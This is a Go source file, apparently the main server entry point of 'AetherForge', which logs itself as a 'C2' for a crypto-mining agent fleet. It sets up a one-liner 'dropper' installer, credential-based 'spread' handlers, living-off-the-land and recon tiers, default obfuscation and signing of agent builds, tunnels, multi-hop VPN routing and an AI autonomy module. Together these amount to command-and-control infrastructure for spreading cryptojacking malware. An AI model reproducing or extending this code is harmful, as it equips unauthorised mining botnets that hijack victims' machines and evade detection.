Files
AetherForge/server/main.go
AetherForge e37eb24369
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix flaky stats-batch tests and extend Crucible E2E LOTL coverage.
Stop the stats batch timer in unit tests before reading pending coalesced state, teach the Playwright stub agent to emit lotl_tier stats, and prefer server/webroot so phase-8 E2E serves the current frontend build.
2026-06-07 00:52:55 -07:00

639 lines
21 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package main
import (
"context"
"crypto/rand"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"os/signal"
"path/filepath"
"syscall"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/api"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/cloudflared"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/maintenance"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/scheduler"
"crypto-miner-server/internal/sys"
)
type wsLogWriter struct {
hub *api.WSHub
}
func (w *wsLogWriter) Write(p []byte) (n int, err error) {
w.hub.BroadcastServerLog(string(p))
return len(p), nil
}
const aetherBanner = `
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ✦ · · · · · · ◈ · · · · · · ✦ ║
║ · \ | / · ║
║ · \ | / · ▲▲▲ ║
║ · ○─────●─────○ · ▲▲▲▲▲ ║
║ · / | \ · ▲▲▲▲▲ ║
║ · / | \ · ████ ║
║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
║ ○───────────○ ██ ██ ██ ║
║ / \ / \ ║
║ / ●───────● \ A E T H E R F O R G E ║
║ / / \ / \ \ ───────────────────────── ║
║ ○───● ○───○ ●───○ LAN Mining Command Deck ║
║ \ \ / \ / / ║
║ \ ●───────● / ║
║ \ / \ / ║
║ ○───────────○ ║
║ ✦ · · · · ◈ · · · · ✦ ║
║ ║
╚══════════════════════════════════════════════════════════════════╝`
func main() {
fmt.Println(aetherBanner)
log.SetFlags(log.LstdFlags | log.Lshortfile)
log.Println("AetherForge C2 starting...")
projectRoot := findProjectRoot()
cfg := LoadConfig()
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
if err := validateListenPort(cfg.Port); err != nil {
log.Fatalf("Invalid listen port: %v", err)
}
tok := cfg.ConnectorToken()
tunnelExternal := os.Getenv("AF_TUNNEL_EXTERNAL") != ""
if tok != "" && !tunnelExternal {
log.Printf("[tunnel] Cloudflare connector token ready (%d chars)", len(tok))
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
log.Printf("[tunnel] Warning: %v", err)
} else {
defer cloudflared.Stop()
}
} else if tunnelExternal {
log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start")
} else {
log.Println("[tunnel] No connector token configured")
}
// Generate fleet secret once — persisted in config.json so all future forges
// carry the same secret and agents keep working across server restarts.
if cfg.Server.FleetSecret == "" {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
log.Fatalf("Failed to generate fleet secret: %v", err)
}
cfg.Server.FleetSecret = hex.EncodeToString(b)
if err := cfg.Save(); err != nil {
log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
} else {
log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
}
} else {
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
}
// Ensure data directories exist
dirs := []string{
cfg.DataDir,
filepath.Join(cfg.DataDir, "builds"),
filepath.Join(cfg.DataDir, "preps"),
filepath.Join(cfg.DataDir, "logs"),
filepath.Join(cfg.DataDir, deploymentCredsDir),
}
for _, dir := range dirs {
if err := os.MkdirAll(dir, 0755); err != nil {
log.Fatalf("Failed to create directory %s: %v", dir, err)
}
}
// Load dashboard auth early so credentials print before slow startup steps.
api.LoadUsers(cfg.DataDir)
// Initialize database
database, err := db.New(cfg.DataDir)
if err != nil {
log.Fatalf("Failed to initialize database: %v", err)
}
defer database.Close()
log.Println("Database initialized")
// Initialize AI autonomy handler (Ollama)
aiHandler := api.NewAIHandler(database)
log.Println("AI handler initialized")
// Initialize WebSocket hub
wsHub := api.NewWSHub(database)
wsHub.SetAIHandler(aiHandler)
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
api.SetAgentPathSecret(cfg.Server.FleetSecret)
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
wsHub.BroadcastAIActivity(entry)
})
// Stream all server logs to the dashboard Master Terminal
log.SetOutput(io.MultiWriter(os.Stdout, &wsLogWriter{hub: wsHub}))
log.Println("WebSocket hub initialized")
// Initialize builder handler
// The agent source is expected at ../agent relative to the server directory
agentSrcDir := findAgentSourceDir()
builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot)
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
api.SetRotateSecretFn(func() (string, error) {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
return "", err
}
newSecret := hex.EncodeToString(b)
cfg.Server.FleetSecret = newSecret
if err := cfg.Save(); err != nil {
return "", err
}
wsHub.SetFleetSecret(newSecret)
builderHandler.SetFleetSecret(newSecret)
api.SetAgentPathSecret(newSecret)
_ = database.InsertAudit("", "fleet_secret_rotate", "", map[string]string{"prefix": newSecret[:8]})
log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
return newSecret, nil
})
defaultPoolCfg := pool.Config{
Host: cfg.Pool.Host,
Port: cfg.Pool.Port,
UseTLS: cfg.Pool.UseTLS,
Wallet: cfg.Wallet.Address,
Password: cfg.Pool.Password,
PaymentID: cfg.Wallet.PaymentID,
}
defaultPoolBackups := poolConfigsFromEndpoints(cfg.Pool.BackupPools, cfg)
// Initialize Stratum pool manager (connections keyed by forged pool + wallet)
poolManager := pool.NewManager(
func(job *pool.Job) {
log.Printf("[Pool] New job received: ID=%s, Height=%d", job.ID, job.Height)
payload, _ := json.Marshal(job)
wsHub.BroadcastToAgents(api.Message{
Type: "new_job",
Payload: payload,
})
},
func(err error) {
log.Printf("[Pool] Error: %v", err)
},
)
wsHub.SetPoolManager(poolManager, defaultPoolCfg)
applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler)
applyControlServerFirewall(cfg)
spreadCredAdapter := newConfigSpreadCredAdapter(cfg)
configProvider := &serverConfigProvider{
config: cfg,
onSaved: func(c *Config) {
applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
spreadCredAdapter.setConfig(c)
},
}
configHandler := api.NewConfigHandler(configProvider)
configHandler.SetAuditSaveHook(func(user string) {
_ = database.InsertAudit(user, "config_save", "", nil)
})
log.Println("Config handler initialized")
maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
defer maintenance.StopRetentionJobs()
// Pre-connect default upstream pool from server config (Forge defaults seed from here)
go func() {
if _, err := poolManager.EnsurePoolWithBackups(&defaultPoolCfg, defaultPoolBackups); err != nil {
log.Printf("[Pool] Failed to connect default pool (will retry on agent auth): %v", err)
}
}()
eventNotifier := alerts.NewNotifier(func() alerts.Settings {
return cfg.AlertSettings()
})
wsHub.SetEventNotifier(eventNotifier)
builderHandler.SetEventNotifier(eventNotifier)
// Fleet alert evaluator (thresholds from Calibrate → alerts config)
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{
OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes,
HashrateDropPct: cfg.Alerts.HashrateDropThresholdPct,
RejectionRatePct: cfg.Alerts.RejectionRateThresholdPct,
}
}, func() alerts.Settings {
return cfg.AlertSettings()
}, func(ev alerts.AlertEvent) {
wsHub.BroadcastFleetAlert(ev)
})
alertEvaluator.Start(30 * time.Second)
log.Println("Fleet alert evaluator started")
// Pool status broadcast to dashboard
go func() {
ticker := time.NewTicker(15 * time.Second)
defer ticker.Stop()
for range ticker.C {
wsHub.BroadcastPoolStatus(poolManager.ListStatus())
}
}()
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir)
fleetSched := scheduler.New(database, wsHub)
fleetSched.Start()
defer fleetSched.Stop()
wsHub.SetConnectTaskRunner(fleetSched)
// Initialize blueprint handler (config presets)
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
log.Println("Blueprint handler initialized")
// Initialize dropper handler (one-liner remote install)
dropperHandler := api.NewDropperHandler(database, cfg.DataDir, func() string {
return configProvider.PublicURL()
})
publicBuildsCfg := func() api.PublicBuildsConfig {
n := cfg.Server.PublicBuildsLatestN
if n <= 0 {
n = 3
}
return api.PublicBuildsConfig{Enabled: cfg.Server.PublicBuildsEnabled, LatestN: n}
}
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
deployPlanHandler := api.NewDeployPlanHandler(
database, cfg.DataDir, projectRoot,
func() string { return configProvider.PublicURL() },
func() string { return cfg.Server.FleetSecret },
func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
)
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
// Path Tracer: on-demand WireGuard multi-hop VPN builder
pathTracerHandler := api.NewPathTracerHandler(wsHub)
// Find web root for frontend
webRoot := findWebRoot()
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
}, cfg.Port, func() bool {
return cfg.ConnectorToken() != ""
}, "v1.0.0")
log.Println("Router initialized")
// Start server
addr := fmt.Sprintf(":%d", cfg.Port)
srv := &http.Server{Addr: addr, Handler: router}
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
defer stop()
log.Printf("Server listening on %s", addr)
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
go func() {
if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
log.Fatalf("Server failed: %v", err)
}
}()
<-ctx.Done()
stop() // release signal resources before cleanup
log.Println("Shutting down server gracefully...")
shutdownCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
if err := srv.Shutdown(shutdownCtx); err != nil {
log.Printf("Server shutdown error: %v", err)
}
log.Println("Server stopped")
}
func poolConfigsFromEndpoints(eps []PoolEndpoint, cfg *Config) []pool.Config {
out := make([]pool.Config, 0, len(eps))
for _, ep := range eps {
if ep.Host == "" || ep.Port <= 0 {
continue
}
out = append(out, pool.Config{
Host: ep.Host,
Port: ep.Port,
UseTLS: ep.UseTLS,
Wallet: cfg.Wallet.Address,
Password: cfg.Pool.Password,
PaymentID: cfg.Wallet.PaymentID,
})
}
return out
}
func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager, builderHandler *builder.Handler) {
if wsHub != nil {
wsHub.SetPingInterval(cfg.Server.WebSocketPingSeconds)
wsHub.SetServerPolicy(api.ServerPolicy{
MaxAgents: cfg.Server.MaxAgents,
LogAgentConnections: cfg.Server.LogAgentConnections,
LogShareSubmissions: cfg.Server.LogShareSubmissions,
LogPoolTraffic: cfg.Server.LogPoolTraffic,
StrictWalletValidation: cfg.Server.StrictWalletValidation,
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
PoolReconnectSeconds: cfg.Server.PoolReconnectSeconds,
LotlOnionTiers: cfg.Server.LotlOnionTiers,
ServiceDeployAllowlist: apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist),
TripleOnionPolicy: api.TripleOnionPolicy{
PatchFirst: cfg.Server.TripleOnionPolicy.PatchFirst,
MineIsolatedTier: cfg.Server.TripleOnionPolicy.MineIsolatedTier,
SkipMiningOnHighRisk: cfg.Server.TripleOnionPolicy.SkipMiningOnHighRisk,
HighRiskThreshold: cfg.Server.TripleOnionPolicy.HighRiskThreshold,
ReconTiers: cfg.Server.TripleOnionPolicy.ReconTiers,
DeployLanes: cfg.Server.TripleOnionPolicy.DeployLanes,
},
})
}
if poolManager != nil {
poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds)
poolManager.SetVerboseTraffic(cfg.Server.LogPoolTraffic)
}
if builderHandler != nil {
defaultObfuscate := cfg.Server.ObfuscateDefault
if os.Getenv("AETHERFORGE_RELEASE") == "1" {
defaultObfuscate = true
}
builderHandler.SetBuildPolicy(builder.BuildPolicy{
StrictWalletValidation: cfg.Server.StrictWalletValidation,
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
DefaultObfuscate: defaultObfuscate,
Sign: builder.SignPolicy{
Enabled: cfg.Server.SignEnabled,
CertThumbprint: cfg.Server.SignCertThumbprint,
ToolPath: cfg.Server.SignToolPath,
TimestampURL: cfg.Server.SignTimestampURL,
},
})
}
applyControlServerFirewall(cfg)
}
func applyControlServerFirewall(cfg *Config) {
if cfg == nil || !cfg.Server.OpenFirewallOnStart {
return
}
port := cfg.Port
if port <= 0 {
port = 8989
}
if err := sys.EnsureInboundTCPPort(port, "AetherForge Control Server"); err != nil {
log.Printf("[firewall] %v", err)
}
}
// serverConfigProvider wraps the Config to implement api.ConfigProvider interface
type serverConfigProvider struct {
config *Config
onSaved func(*Config)
}
func (p *serverConfigProvider) PublicURL() string {
return p.config.Server.PublicURL
}
func (p *serverConfigProvider) GetConfigJSON() json.RawMessage {
data, _ := json.Marshal(p.config)
return data
}
func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
var incoming Config
if err := json.Unmarshal(data, &incoming); err != nil {
return fmt.Errorf("invalid config: %w", err)
}
// Semantic validation — reject values that would break the server at runtime.
if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
return fmt.Errorf("invalid config: port %d out of range (165535)", incoming.Port)
}
if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
return fmt.Errorf("invalid config: pool.port %d out of range (165535)", incoming.Pool.Port)
}
if incoming.Server.MaxAgents < 0 {
return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
}
if incoming.Server.StatsRetentionHours < 0 {
return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
}
if incoming.Server.BuildRetentionDays < 0 {
return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
}
if incoming.Server.MaxBuildSizeMB < 0 {
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
}
// Determine which top-level keys were explicitly present in the JSON payload.
// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
// from the payload is treated as "not changed", not "set to false".
var presentKeys map[string]json.RawMessage
_ = json.Unmarshal(data, &presentKeys)
mergeConfigExplicit(p.config, &incoming, presentKeys)
// Save to disk
if err := p.config.Save(); err != nil {
return fmt.Errorf("failed to save config: %w", err)
}
if p.onSaved != nil {
p.onSaved(p.config)
}
return nil
}
// findAgentSourceDir locates the agent source code directory
// It searches relative to the server binary location and the current working directory
func findAgentSourceDir() string {
projectRoot := findProjectRoot()
candidates := []string{
filepath.Join(projectRoot, "agent"),
"../agent",
"./agent",
}
if cwd, err := os.Getwd(); err == nil {
candidates = append(candidates,
filepath.Join(cwd, "agent"),
filepath.Join(filepath.Dir(cwd), "agent"),
)
}
if exe, err := os.Executable(); err == nil {
exeDir := filepath.Dir(exe)
candidates = append(candidates,
filepath.Join(exeDir, "agent"),
filepath.Join(exeDir, "..", "agent"),
filepath.Join(exeDir, "..", "..", "agent"),
)
}
seen := map[string]bool{}
for _, candidate := range candidates {
absPath, err := filepath.Abs(candidate)
if err != nil || seen[absPath] {
continue
}
seen[absPath] = true
goModPath := filepath.Join(absPath, "go.mod")
if _, err := os.Stat(goModPath); err == nil {
return absPath
}
}
return filepath.Join(projectRoot, "agent")
}
// resolveDataDir pins relative data paths to the project root so builds always land in
// <repo>/data even when miner-server.exe is started from server/ or bin/.
func validateListenPort(port int) error {
if port < 1 || port > 65535 {
return fmt.Errorf("port %d out of range (165535)", port)
}
return nil
}
func resolveDataDir(dataDir, projectRoot string) string {
if filepath.IsAbs(dataDir) {
return dataDir
}
if projectRoot != "" && projectRoot != "." {
return filepath.Join(projectRoot, dataDir)
}
abs, err := filepath.Abs(dataDir)
if err != nil {
return dataDir
}
return abs
}
func projectRootMarker(dir string) bool {
for _, name := range []string{"devrun.bat", "LAUNCH.bat", "run.bat"} {
if _, err := os.Stat(filepath.Join(dir, name)); err == nil {
return true
}
}
return false
}
func findProjectRoot() string {
if cwd, err := os.Getwd(); err == nil {
if projectRootMarker(cwd) {
return cwd
}
parent := filepath.Dir(cwd)
if projectRootMarker(parent) {
return parent
}
}
if exe, err := os.Executable(); err == nil {
exeDir := filepath.Dir(exe)
candidates := []string{
exeDir,
filepath.Join(exeDir, ".."),
filepath.Join(exeDir, "..", ".."),
}
for _, candidate := range candidates {
if projectRootMarker(candidate) {
abs, _ := filepath.Abs(candidate)
return abs
}
}
}
if cwd, err := os.Getwd(); err == nil {
return cwd
}
return "."
}
// findWebRoot locates the frontend build output directory
func findWebRoot() string {
candidates := []string{
"webroot", // Vite outDir (server/webroot) and devrun.bat copy target
filepath.Join("server", "webroot"),
"web/dist", // Legacy dist output relative to server/
filepath.Join("..", "server", "web", "dist"),
filepath.Join("server", "web", "dist"),
}
if cwd, err := os.Getwd(); err == nil {
candidates = append(candidates,
filepath.Join(cwd, "webroot"),
filepath.Join(cwd, "web", "dist"),
filepath.Join(filepath.Dir(cwd), "server", "webroot"),
filepath.Join(filepath.Dir(cwd), "server", "web", "dist"),
)
}
if exe, err := os.Executable(); err == nil {
exeDir := filepath.Dir(exe)
candidates = append(candidates,
filepath.Join(exeDir, "webroot"), // portable USB layout
filepath.Join(exeDir, "..", "webroot"),
filepath.Join(exeDir, "..", "web", "dist"),
filepath.Join(exeDir, "..", "..", "server", "webroot"),
filepath.Join(exeDir, "..", "..", "server", "web", "dist"),
)
}
for _, candidate := range candidates {
absPath, err := filepath.Abs(candidate)
if err != nil {
continue
}
// Check if it has index.html
indexPath := filepath.Join(absPath, "index.html")
if _, err := os.Stat(indexPath); err == nil {
return absPath
}
}
return ""
}
func apiServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]api.ServiceDeployLane {
if len(raw) == 0 {
return api.NormalizeServiceDeployAllowlist(nil)
}
out := make(map[string]api.ServiceDeployLane, len(raw))
for name, lane := range raw {
out[name] = api.ServiceDeployLane{
Lane: lane.Lane,
Priority: lane.Priority,
Template: lane.Template,
}
}
return api.NormalizeServiceDeployAllowlist(out)
}